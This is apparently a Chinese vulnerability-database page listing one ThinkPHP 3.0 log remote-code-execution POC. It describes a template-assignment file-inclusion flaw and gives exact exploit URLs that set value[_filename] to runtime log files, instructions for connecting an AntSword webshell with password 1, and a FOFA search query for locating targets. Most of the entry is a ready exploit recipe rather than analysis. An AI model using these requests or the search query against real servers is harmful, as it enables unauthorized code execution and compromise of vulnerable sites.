Thinkphp 3.0 漏洞列表

共找到 1 个与 Thinkphp 3.0 相关的漏洞

📅 加载漏洞趋势中...

thinkphp-3-0-log-rce: Thinkphp 3.0 log 远程命令执行漏洞 POC

日期: 2025-09-01 | 影响软件: Thinkphp 3.0

ThinkPHP是一套开源的、基于PHP的轻量级Web应用开发框架。该漏洞是在受影响的版本中，业务代码中如果模板赋值方法assign的第一个参数可控，则可导致模板文件路径变量被覆盖为携带攻击代码的文件路径，造成任意文件包含，执行任意代码。蚁剑连接，得到一个webshell，密码为1（日志文件名需改为今天的日期） debug模式关闭：http://x.x.x.x:23707/index.php?m=Home&c=Index&a=index&value[_filename]=./Application/Runtime/Logs/Common/22_04_13.log debug模式开启：http://x.x.x.x:23707/index.php?m=Home&c=Index&a=index&value[_filename]=./Application/Runtime/Logs/Home/22_04_13.log fofa-query: "thinkphp"